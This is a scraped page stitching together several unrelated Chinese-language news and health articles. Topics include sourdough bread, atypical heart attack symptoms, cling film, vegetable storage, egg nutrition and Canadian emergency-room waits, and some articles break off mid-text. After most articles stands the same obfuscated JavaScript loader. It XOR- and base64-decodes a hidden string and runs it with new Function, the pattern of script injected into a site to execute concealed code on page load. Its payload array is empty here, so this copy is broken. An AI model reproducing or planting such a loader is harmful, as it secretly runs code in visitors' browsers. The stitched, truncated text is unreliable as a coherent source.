相较于前面几款高脂面包，原味酸种面包是相对清爽的选择。其基本配方仅为面粉、水、天然酵母与盐，每100克的油脂含量仅约2至5克，是这几款面包中最低脂的一类。不过，酸种面包始终属于淀粉类食物，绝不能因为冠上酸种或看起来很健康的名号就无限量狂食。若配搭大量牛油、芝士、果酱，或选择加入了烟肉、坚果的风味版本，整体热量依然会增加。 原味酸种面包比高油酥皮面包更适合作为日常主食，但仍要严控进食份量，并配搭丰富蛋白质与蔬菜，例如烚蛋、无糖乳酪、沙律或豆浆，更均衡健康。 她指出，很多人在挑选面包时，会直觉认为“小个的面包比较安全”、“咸包比甜包健康”或“吃起来不油就不会肥”。但从营养学角度来看，这些判断往往大错特错，牛角包、罗宋包、菠萝包及盐味牛角包，皆因制作过程中加入了大量牛油、猪油或反复刷油，令油脂与热量暴增。即便是相对低脂的酸种面包，亦要留意进食份量与配搭。 资料来源：营养师杨斯涵 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

提起心脏病发作，许多人脑海浮现的画面，是患者突然脸色苍白、紧按胸口、痛苦倒地。然而，这种“荷里活式”情节往往令人对心脏病发的症状产生误解。香港衞生署数据显示，心脏病长期位列本港3大杀手之一，其中冠心病最为普遍。临床发现，约2至3成急性心肌梗塞患者发病时并无明显胸痛，反而出现其他容易被忽略的症状，错失黄金抢救时机。 心脏病｜胸痛非唯一警号 6大酸痛麻痺症状 国际研究显示，因胸痛到急症室求诊的患者中，最终仅约一成确诊为急性冠状动脉综合症，其余多由胃酸倒流、肌肉或骨骼问题引起。反映胸痛不一定代表心脏病发；反之，心脏病发亦未必出现胸痛。当心脏缺血时，不适感可延伸至胸口以外部位。常见非典型警号包括： 其他部位酸痛或麻痺：不适感扩散至肩膀、手臂（不限于左侧）、颈部、下巴、上背部或上腹部，出现莫名且持续的酸痛、拉扯感或麻痺。   上腹闷胀不适：易被误认为消化不良，表现为上腹部突发性的闷胀、揪紧感，甚至伴随类似胃酸倒流的恶心与呕吐。   突发性全身反应：在没有剧烈活动下，身体突然大汗淋漓、呼吸困难、极度疲倦或头晕。 心脏病｜3大高危族易有“无痛性”心脏病 1. 糖尿病患者 长期高血糖会损害神经系统，令痛觉变得迟钝。医学文献报告指出，约有2至4成患者发病时并无明显胸痛，仅表现为突发性的极度疲倦、呼吸困难或头晕。 2. 长者 随着神经系统退化，长者对内脏痛楚的敏感度会显著降低。发病时或完全没有胸痛，仅会出现晕眩或神智不清，甚至突然倒地。 3. 女性 女性在急性心脏病发时，较常出现背痛、下巴酸痛、恶心或极度疲倦等较为分散的症状，极易被误当作“太累”或“消化不良”而延误求医。 心脏病｜把握黄金时间 打破刻板印象 心脏病发并不一定以剧烈胸痛呈现，尤其是上述高危人士更应提高警觉。若在休息或轻度活动期间，身体任何部位突然出现绷紧、压迫感或不适，伴随无故冒冷汗、心跳加速与气喘，并持续数分钟未有好转，或随时间愈趋强烈，切勿因“不够痛”而延误求医。 主动识别身体发出的隐形警号，一旦怀疑，应尽早求医检查，方能及时接受适切治疗，保障生命安全。 撰文：香港都会大学护理及健康学院高级讲师李咏诗(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

不论是吃不完的剩菜剩饭，还是切开了一半的西瓜，不少港人在处理厨房余粮时，第一时间都会顺手撕下一张保鲜纸包裹好再放进雪柜。如果市民选错了材质、或者用错了方法，保鲜纸极可能在不知不觉间释放出有害物质，令我们餐餐将毒素吞落肚。 高温高油千万别接触保鲜纸 市面上的保鲜纸材质主要分为聚乙烯（PE）、聚甲基戊烯（PMP）、聚氯乙烯（PVC）与聚偏二氯乙烯（PVDC）四大类。根据食品安全当局的介绍，PVC 和 PVDC 材质的保鲜纸在遇热或接触油脂后，会释放出塑化剂或毒性，因此绝对不适合直接接触高油、或是刚起镬、还很烫的食物；相比之下，PE 和 PMP 材质的保鲜纸不含氯，较适合日常使用，当中又以 PMP 的耐热性表现最佳。 如果忽视保鲜纸背后隐藏的毒物危机，随时要付出沉重的健康代价。临床医学卫教资讯提醒，人体若长期暴露在保鲜纸溶出的塑化剂之下，会干扰内分泌系统，不仅可能增加女性罹患乳癌、子宫内膜癌等与荷尔蒙相关癌症的机率，更会严重影响男童发育，导致成年后精子稀少、活动力弱，甚至引致不孕。 3招安心使用保鲜纸 想兼顾生活便利与饮食安全，其实只要在日常生活中避开误区即可。营养师特别整理出以下3个关键的使用要点，教大家如何安心使用保鲜纸：   3招安心使用保鲜纸： 等待食物完全冷却： 饭菜起镬后切勿立刻包裹，必须等待食物完全凉透后才盖上保鲜纸，这样能大幅降低化学物质因高温而溶出的机率。 与食物保持安全距离： 包裹碗盘时，保鲜纸与食物表面应保留至少一公分的距离，避免两者直接接触，防止食物中的油脂分解保鲜纸结构。 冷冻食材需加隔离层： 若需要用保鲜纸包裹食材放进冰格（冷冻柜），建议先垫一层烘焙纸（牛油纸）作为隔离，防止保鲜纸在低温下与食材冻结沾黏。 4招无毒替代法 环保又悭钱 除了依赖保鲜纸，厨房里其实有许多更好用、更省钱且环保的替代方案，既能减少塑胶垃圾，又能彻底保障家人健康： 4招无毒替代法： 1. 善用尺寸合适的瓷碟 这是每个人家里都有、且一毛钱都不用花的老方法。只要拿一只大小适中的平底瓷碟，直接盖在汤碗或容器上面即可。不过，由于盖上瓷碟后无法从外部观察里面的状况，因此这方法较适合短时间冷藏，不建议用于长时间保存。 2. 转用食品级矽胶盖 市面上的食品级矽胶盖服贴度高、密封性好，可以直接吸附在盛载食物的容器上方。放进雪柜保存时，能有效阻挡冰箱异味并锁住食物水分。加上它可以反复清洗并循环再用，是替代保鲜纸的环保首选。 3. 精明使用铝箔纸 如果饭菜在碟上堆得太高（例如白切鸡、烧味等），无法使用平碟或矽胶盖时，则可以改用铝箔纸（锡纸）来遮盖。铝箔纸完全没有塑化剂溶出的问题，丢弃时作为一般垃圾处理即可。但必须特别提醒：铝箔纸属于金属材质，若要将食物放进微波炉加热，必须先将铝箔纸完全撕除，以免发生火警危险。 4. 改用附盖耐热玻璃盒 市售的耐热玻璃容器可直接盛载刚煮好的菜肴上台，若吃不完，直接盖上配套的盖子就能放入雪柜密封保存，还能少洗一个餐具。不过，如果容器盖子的材质是塑胶，仍建议等食物放凉后再盖上，以彻底降低塑化剂溶出的风险。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var...

买生菜回家习惯连袋直塞入雪柜？有达人指出，生菜水分极易流失，切忌直接冷藏，否则营养尽失。因此，只要在放入保鲜格前多做一个关键步骤，就能彻底锁水防腐烂，轻松延长保鲜期。 生菜不能直接放雪柜 即学1招保存法轻松延长保鲜期 据日媒《Yahoo! JAPAN》报道，拥有超过10年蔬果销售经验的日本达人“青髪のテツ”指出，生菜用途广泛，无论是用来做沙律还是作为配菜都非常适合，是不少家庭雪柜中的常备蔬菜。然而，生菜是一种容易脱水腐烂的蔬菜。如果想延长其保鲜期，在放入雪柜储存前必须多加一个关键步骤——“挖走菜芯”。 青髪のテツ解释，生菜在采摘后，如果仍保留着菜芯，它便会误以为自己仍在继续生长。这个生长过程会不断消耗叶片中的水分和营养，导致生菜更快枯萎腐烂。因此，与其像刚买回来时那样连袋直接放进雪柜，不如事先将菜芯去除，并妥善进行保湿处理。当然，如果打算在购买当天就将整颗生菜吃完，便毋须如此大费周章；但若想分几天慢慢食用，拔走菜芯绝对能大大延长保鲜期。青髪のテツ亦分享简单的储存步骤： 储存生菜4大步骤： 只需用双手拇指用力按压生菜底部的菜芯，然后将其整块挖出。 准备一张稍微沾湿的厨房纸巾，塞入挖走菜芯后留下的空洞中。纸巾切忌完全湿透，水分过多反而会加速生菜变质腐烂，只需保持微湿即可。 将整颗处理好的生菜，用报纸或干爽的厨房纸紧紧包裹起来。 最后，将包好的生菜放入胶袋中绑好，再放入雪柜的蔬菜保鲜格中储存。 青髪のテツ提醒，如果在储存前发现生菜的外层叶片已经受损或变坏，必须及早将其剥除。因为保留受损的叶片，会导致周围原本完好的叶片也加速腐烂。最后，切开或撕碎了的生菜比原个生菜更容易变坏，建议切开后尽快食用完毕。 资料来源：《Yahoo! JAPAN》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

每逢大时大节或周末聚会，不少港人都会一边期待与亲友食大餐，一边又担心血糖剧烈波动，令平日辛辛苦苦累积的控糖与体态管理成果前功尽弃。初日诊所院长魏士航医生表示，其实市民不需要过度紧张。除了可透过“代谢补偿”原则，在聚餐前后适度调整饮食、并在聚餐时优先摄取高纤蔬菜与优质蛋白质外，医学研究更发现，在餐前 30 分钟吃少许杏仁果（Almond，又称扁桃仁），可助降低餐后血糖。 餐前吃杏仁显著平稳血糖 魏士航医生指出，一项刊登于《欧洲临床营养学杂志》（European Journal of Clinical Nutrition）研究，采用了随机交叉试验设计，针对 60 名处于糖尿病前期的成人进行了两阶段测试。 第一阶段在 75 克葡萄糖耐受测试（OGTT）前 30 分钟，安排测试者摄取 20 克杏仁果，以观察单次血糖反应；第二阶段则在日常生活中，让测试者连续 3 天于三餐前摄取杏仁果，并透过连续血糖监测（CGMS）追踪全天的血糖变化。葡萄糖耐受测试结果显示，相较于未摄取杏仁果的情况，餐前补充杏仁果可使整体餐后血糖曲线下面积下降约 18.05%；而餐后 1 小时与 2 小时的血糖，亦分别降低了约 24.8% 与...

【星岛讯】省府表示，更多面对精神健康或滥药危机的人士，正透过社区主导危机应对服务获得协助，稳定情况，并在迈向身心健康的过程中连接所需支援。根据一份最新报告显示，自2023年推出以来，社区主导危机应对服务 (Crisis Response, Community Led，简称CRCL) 接获约2万宗求助来电。 CRCL流动团队由精神健康专业人员，以及具亲身经历并受过培训的同侪组成。他们协助缓和涉及精神健康危机及/或滥药挑战的情况，并帮助当事人连接社区内的后续服务和支援。这项社区主导危机应对服务，是一项流动、社区主导的危机支援服务，服务对象为13岁及以上、正面对精神健康或滥药危机的人士，这可能包括有自杀或自我伤害的念头、感到哀伤、困扰、恐慌或焦虑，以及/或出现令人不安或困扰的行为。 卫生厅长奥祖宜 (Josie Osborne，图) 说：“当一个人处于危机时，若能得到理解与关怀的对待，往往可以带来重大改变。社区主导危机应对服务清楚显示，当服务以理解和关怀作为出发点，便能协助有需要人士连接适当的支援和服务，帮助他们逐步回复稳定。” CRCL由加拿大精神健康协会卑诗省分会 (Canadian Mental Health Association BC Division) 管理及支援，并由北温、西温、新西敏 (二埠)、维多利亚、乔治王子市 (Prince George)、科莫斯谷 (Comox Valley)、锦碌 (Kamloops) 及基隆拿 (Kelowna) 的社区组织营运。 报告指出，在这些来电中占56.9%由需要协助的人士亲自致电，反映他们对服务的信任。其余43.1%则由家人、朋友、目睹情况的人士及服务提供者等协助者致电。此外，CRCL协助处于危机中的人士获得一系列支援，包括危机介入及情况缓和、服务导航及权益支援、家庭及社会网络支援、滥药及减害服务，以及基本需要及安全支援，例如急救、食物、食水或衣物。 除了协助面对危机人士获取支援之外，CRCL亦有效减轻警方处理相关个案的压力，使警员能专注处理罪案及其他工作。报告指出，在98%的来电中，调度人员能在毋须警方、消防或紧急医疗服务介入的情况下完成评估及转介。即使流动团队需要亲身到场处理，其后需要要求紧急服务支援的个案亦少于1%。 公共安全及法务厅长柯瑞安 (Nina Krieger) 说：“当人们面对精神健康或滥药危机时，关键是他们能得到具同理心、理解和适切的支援。CRCL正协助人们在最需要的时候获得所需服务，同时让警方及紧急应变人员能专注处理其他求助个案，并展现社区主导危机应对的重要作用。” 扩大对危机人士的支援，是政府建立全面精神健康及滥药护理系统工作的一部分。相关工作包括提供3,829个公共资助的滥药护理床位，支援有成瘾问题的人士；其中879个治疗及康复床位为自2017年以来新增。其他工作包括推出鸦片类药物治疗热线 (Opioid Treatment Access Line)、开设Foundry青少年中心，以及设立第一民族疗愈设施。 V02

急冻西兰花方便又健康，是不少家庭的常备蔬菜，不过每次用微波炉解冻“叮”完，西兰花总是变得湿软，口感极差？有专家指出，只要在用微波炉加热前加入1件法宝，就能吸走多余水分，奇蹟还原新鲜爽脆口感，更减少营养流失。 微波炉加热急冻西兰花湿软难食？专家教1招还原爽脆口感 根据《Yahoo! JAPAN》报道，拥有10年蔬果销售经验的日本网红“青髪のテツ”指出，西兰花是不少家庭的常备蔬菜。为了贪图方便，很多人雪柜冰格都会常备一包保质期长的急冻西兰花。不过，急冻西兰花虽然方便，但每次用微波炉加热后，往往会出水变得湿湿软软，口感极差，令人食欲大减。其实，要解决这个痛点，正确的微波炉解冻方法是：在加热前用厨房纸包裹西兰花，它能完美吸收渗出的多余水分，防止西兰花因浸泡在水中而变得软烂，从而保持其爽脆的口感。此外，厨房纸亦有助控制微波炉内的蒸汽，防止受热不均，这样就能令急冻西兰花的口感奇蹟般还原，吃起来如同新鲜现煮一样。 想还原急冻西兰花的美味，青髪のテツ分享了以下4个简单步骤： 4步骤还原急冻西兰花爽脆口感： 准备一个有深度、适用于微波炉的耐热容器，并在底部铺上一张厨房纸。 取出约100至200克的急冻西兰花，将其平铺在厨房纸上。紧记要铺成单层，确保每块西兰花之间互相不要重叠。 用底部的厨房纸将西兰花轻轻包裹起来，然后在容器顶部松松地盖上一层保鲜纸。 将容器放入微波炉，以600瓦的火力加热约2分钟即成。 青髪のテツ强调，这方法毋须用水烚煮，就能确保保留西兰花内所有易溶于水的珍贵营养成分，例如维他命。这个方法极度适合忙碌的上班族在早晨准备饭盒，或是需要极速准备一道菜时使用。 如何选购、处理及清洗西兰花？ 西兰花功效多多，但日常应如何选购、保存及清洗西兰花、如何保存及清洗？据本港蔬菜统营处资料显示： 1. 西兰花选购重点 花球紧密，花蕾未松开 茎无空心 具品种固有色泽 无腐烂、无虫害及其他伤害 2. 西兰花保存方法 如有包装，应原封不动放入冰箱； 散买的蔬菜如沾有水滴，会较易腐坏，应先把西兰花放在通风处吹干或把水气抹去，再用微湿的报纸包卷蔬菜放入胶袋后再冷藏； 蔬菜存放愈久愈不新鲜，营养减少，宜尽早食用。 西兰花处理及清洗步骤 烹煮前才清洗蔬菜，以保持新鲜； 浸洗不宜过久，要先洗后切，以免流失维他命； 用稀盐水清洗，可较易除去菜虫； 用不锈钢刀切菜，可减少维他命流失； 菜叶营养多，应避免把菜叶切走、切细、切碎或磨碎； 切后应随即下锅，以免维他命被空气氧化而流失。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

鸡蛋是我们日常摄取优质蛋白质的重要来源，但大家是否了解各种蛋的营养差异？有营养师大比拼鸡蛋、皮蛋及咸蛋3款常见蛋类，拆解当中的营养密码，其中一款蛋钠含量竟高达1629毫克。 3款蛋类营养大比拼 这款钠含量飙破1629毫克 营养师杨斯涵在其Facebook专页发文指，每天的餐桌上，总少不了蛋的身影。从早餐的烚蛋、午餐的皮蛋豆腐，到晚餐极为送饭的咸蛋炒苦瓜，蛋类不仅美味，更是我们摄取优质蛋白质的重要来源。她为大家详细拆解鸡蛋、皮蛋及咸蛋这3种常见蛋类的营养密码： 3款蛋类营养大比拼 1.新鲜鸡蛋 热量：135kcal 蛋白质：12.5g 钠含量：135mg 它没有经过任何化学加工，仅透过清洗、分级与包装，保留了最完整的营养素。鸡蛋是标准的原型食物，热量与钠含量在三者之中都是最低的。无论是处于减脂期、控糖期的人士，或是作为儿童发育阶段的营养补充，鸡蛋都是极佳的选择。 2.皮蛋 热量：144kcal 蛋白质：12.5g（与鸡蛋相若） 钠含量：590mg 市售的皮蛋多半是由鸭蛋制成，利用强碱，如碳酸钠、石灰使蛋白质发生变性与凝胶化而成。蛋白质在强碱环境下会分解产生氨基酸，并发生梅纳反应，这正是皮蛋独特风味与颜色的来源。虽然其蛋白质含量与新鲜鸡蛋相距不远，但钠含量却已大幅增加。建议吃皮蛋时应配搭清淡的食材一起食用，如豆腐，以避免单一餐摄取过多的钠。 3.咸蛋 热量：182kcal 脂肪：13.1g 钠含量：1629mg 金黄流沙、口感起沙的咸蛋黄是许多料理的灵魂，但它同时亦是极度危险的热量与钠含量炸弹。咸蛋同样多由鸭蛋制成，透过高浓度盐水或红土泥醃制，利用渗透压将蛋里的水分逼出。当水分大幅减少后，蛋黄中的脂肪会重新聚集，这就是为何咸蛋黄切开会出油的原因。咸蛋的热量、脂肪与钠含量都是三者之冠，如果这一餐吃了咸蛋料理，请务必减少其他菜式的调味料。对于需要控制血压或关注心血管健康的人士，更要谨慎控制份量，浅尝即止。 她指出，无论是哪一种蛋，都是很好的蛋白质来源。但在日常选择上，强烈建议仍以新鲜鸡蛋为主，让身体吸收最纯粹的营养。如果偶尔想转换口味食皮蛋或咸蛋，必须紧记它们是加工食品，潜藏着极高的钠与油脂危机。大家应掌握替换原则，把加工蛋类当作料理的调味料而非主食，这样就能在享受美味的同时兼顾健康。 资料来源：营养师杨斯涵 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

【星岛综合报道】最近有报告指出，加拿大长期护理院舍及居家护理服务供应不足，令原本可以出院的病人滞留医院，进一步加重全国医院急症室的负荷，导致其轮候时间不断延长。 加拿大健康资讯研究所（Canadian Institute for Health Information）上周发表报告指出，原本可转往复康中心、长期护理院舍或接受居家护理的病人，平均在医院病房多留了24天才出院。 报告指出，不少病床因此被占用，令一些需要入院的病人只能继续留在急症室等候上病房，形成了恶性循环。 长者及慢性病者急症室等最久 数据显示，在2024年4月至2025年3月期间，全国有一半入院的病人，在急症室等候病床的时间超过16小时；平均每10名入院病人中，便有1人在急症室逗留超过48小时。 报告指长者及患有糖尿病、高血压等慢性疾病的人士，往往是在急症室等候时间最长的一群。 此外，约8%的住院病人成为“替代护理级别”（Alternate Level of Care，ALC）病人，即已毋须接受急切医疗服务，只因缺乏合适的后续照顾安排，未能出院。 加拿大健康资讯研究所医疗系统分析总监徐卓丽（Cheryl Chui，译音）表示，报告反映如要缩短急症室轮候时间，必须从整个医疗系统着手，而非单靠改善急症室。 连锁效应导致急症室挤拥 她指出，需要解决的问题包括让更多人获得家庭医生或基层医疗服务、病人应避免因非紧急病况前往急症室；同时增加长期护理及居家护理服务，让“替代护理级别”病人可更快出院。 她表示：“这类瓶颈会在整个医疗系统产生连锁效应，病人因长时间占用病床，令其他需要住院的病人无法转入病房，只能留在急症室，这会阻碍急症室接收其他新症病人。” 她指这会最终导致整个医疗系统的轮候时间全面延长。 此外，加拿大急症医生协会（Canadian Association of Emergency Physicians）本周较早前亦发出警告指，急症室正因医疗系统一些长期问题，尤其是关于长者支援不足，而承受巨大压力。 协会指随着人口老化，需要长期护理及社区支援的长者愈来愈多，但相关服务供不应求，令不少长者只能到急症室求助。目前长者已占全国急症室求诊人次约20%至40%。 声明指出，长期护理及社区照护服务不足，是导致医院及急症室人满之患的主因。很多长者即使急性的病情已获解决，仍因得不到上述服务而继续占用医院病床。 图：加通社 V20

每逢星期一至五的朝早，分秒必争的香港打工仔而言，最让人崩溃的是临出门前一秒，才发现准备要穿的恤衫或裙子皱得像咸菜一样。想要不费吹灰之力就让衣服回复顺滑、精神抖擞地出门？日本近年就有一款懒人必备的“衣物除皱神器”在网络爆红，绝对是拯救上班族救星！ 日本神奇喷雾一喷秒速去皱 这款名为“白元 Earth 衣物除皱消臭喷雾”（衣类のシワ伸ばしミストシワトル）的产品，简直是懒人与赶时间人士的终极福音。它的使用方法非常简单，完全不需要出动熨斗： 极速操作： 只需对准衣物变皱的位置均匀喷洒几下。 物理平整： 用手轻轻横向与纵向拉平折痕。 干燥即穿： 待衣物完全干燥后，原本皱巴巴的衣服就会立刻回复平滑，让你能极速整理好仪容出门。 兼备除臭杀菌等多效防护 除了去皱效果显著，这款喷雾还完美切合港人的实用需求。它能够有效对抗汗味、体味、烟味及香港茶餐厅常见的料理油烟等异味。同时，产品加入了长效抗菌除菌配方，能降低细菌与病毒在衣物上的残留，并减少静电产生，防止灰尘与花粉沾附。 更贴心的是，它采用无香料设计，使用后不会留下一阵难闻或过浓的化学香精味。一支 300ml 的容量足足可以使用约 420 次，高 CP 值且非常耐用。 使用时请与衣物保持约 15cm 距离，切勿在穿着衣服时直接喷洒。产品不适用于丝质、嫘萦等对水敏感的纤维、皮革、毛皮、人造皮革、和服类、标示“不可水洗”、有珠饰刺绣或易褪色留下水痕的材质。建议使用前先在衣服不明显处进行局部测试。 游日必买购买资讯 下次去日本药妆店扫货时或网购平台，不妨直接冲去生活用品区将这支除皱喷雾摆入购物车： 商品名称： 白元 Earth 衣物除皱消臭喷雾 商品容量： 300 ml 参考价格： 约 ￥550 - 615（连税）折合约港币30元（价格因零售商而异）。 白元 Earth...

芽菜买回家后放进冰箱没几天，就变坏、发黑兼出水！有专家教3招保鲜神技，其中放入冰格前多做一步，芽菜可保存长达一个月。 3招保鲜芽菜秘技 放入冰格前这样做可保存达一个月！ 根据《Yahoo! JAPAN》报道，拥有10年蔬果销售经验的日本网红“青髪のテツ”指出，芽菜价格便宜，不但饱腹感强，更能轻易配搭各种菜式。然而，芽菜却有致命缺点，就是极容易腐烂、发黑及出水。其实很可能是储存方式出错，要多花一点心思，便能大幅延长芽菜的保鲜期。为此，青髪のテツ特别分享了3大延长芽菜保鲜秘诀： 3招保鲜芽菜秘技 1.在芽菜包装袋上戳几个洞 很多人从超市买芽菜回家后，会习惯直接连同未开封的包装袋放进雪柜，这其实是最糟糕的储存方式。芽菜即使在采摘后，仍会持续进行呼吸作用。如果包装袋一直处于完全密封状态，芽菜释放出来的二氧化碳和乙烯气体便会在袋内不断积聚，从而加速其腐烂变质。建议用牙签或叉尖，在包装袋上戳两三个小孔。这个简单的动作能让芽菜呼吸，排走袋内多余的气体，显著延长保鲜期。若打算在购买后一两天内食用，这个方法最为方便有效。 2.用水浸泡 想芽菜长时间保持爽脆，用水浸泡是一个极佳的方法。方法很简单，将芽菜从袋中取出，用清水快速冲洗干净，然后放入保鲜盒或有盖的食物容器中。接着倒入足够的清水，确保完全浸过所有芽菜，盖好盖子后放入雪柜的保鲜格。需要留意，必须每天换水，因为保持水质清洁能有效防止细菌滋生，令芽菜能保存3至5天，并维持极佳的清爽口感。不过，这个方法可能会令芽菜流失部分水溶性营养素。 3.急冻保存 芽菜放冰格急冻保存是个不错的选择，只要处理得宜，芽菜急冻后可保存长达约一个月。建议先将芽菜洗净，然后用厨房纸彻底印干所有水分。接着将芽菜放入密实袋中，尽量挤出袋内所有空气，最后放入雪柜冰格。除了直接生冷急冻，亦可以先将芽菜汆水10至20秒，使其略微变软后才放入冰格。由于急冻芽菜在解冻后会因流失水分而失去原本爽脆的口感，因此强烈建议烹调时毋须解冻，直接将急冻芽菜加入味噌汤或炒菜中即可。 资料来源：《Yahoo! JAPAN》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

炎炎夏日吃雪糕、刨冰是许多人的消暑首选，但每次食完都狂流鼻水！有医生教4个小方法健康消暑，更能预防鼻敏感，其中吃雪糕、刨冰只要多做一步，就能大幅降低对鼻黏膜刺激。 医生教4招消暑防鼻敏感 吃之前多做1步降鼻黏膜刺激 耳鼻喉科医生王曜在其Facebook专页发文指，夏天到了，气温飙升总令人忍不住想吃碗刨冰，或者吃几口雪糕消暑。然而，对于许多饱受鼻敏感困扰的人来说，进食太冰冻的食物，极容易诱发鼻黏膜的神经反应，导致吃完就开始狂流鼻水。鼻敏感患者其实并非完全不能吃冰冻食物。他整理了以下4个保养贴士，教大家如何健康消暑，同时减少冰冻食物对呼吸道的强烈刺激： 1.吃之前先让食物解冻 刚从雪柜冰格拿出来的冰冻甜品温度极低，建议，进食前应先放置一会，让冰品稍微融化、温度慢慢回升。这样可以减少极低温对鼻腔黏膜造成的直接冲击，从而大大降低神经敏感反应发作的机率。 2.尽量选择天然原型配料 在选择刨冰或雪糕的配料时，新鲜水果等天然成分，绝对比含有大量人工色素或化学添加物的配料更为温和。尽量选择无添加或少添加成分的冰冻甜品，能大幅减少对鼻部黏膜可能造成的化学刺激，减轻身体负担。  3.勤用生理盐水洗鼻 保持良好的鼻部卫生，是对抗过敏的最基本功。定期使用生理盐水清洗鼻腔，能有效冲走积聚在内的过敏原、尘埃与细菌。只要维持鼻腔黏膜湿润与清洁，自然能提升整个呼吸道的防护力。 4.补充足够水分 除了吃冰冻甜品，日常更要紧记多喝水。夏天经常频繁进出冷气房，干燥的环境极易令呼吸道变得更加敏感。补充足够的水分，能确保鼻腔黏膜时刻保持湿润状态。 王医生提醒，在满足口腹之欲的同时，务必要留意身体发出的警号。如果在吃冰冻甜品后，流鼻水等过敏症状持续无法纾缓，甚至出现严重鼻塞并影响日常生活，应尽快寻求专业医生的协助，找出最适合的稳定治疗方案。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

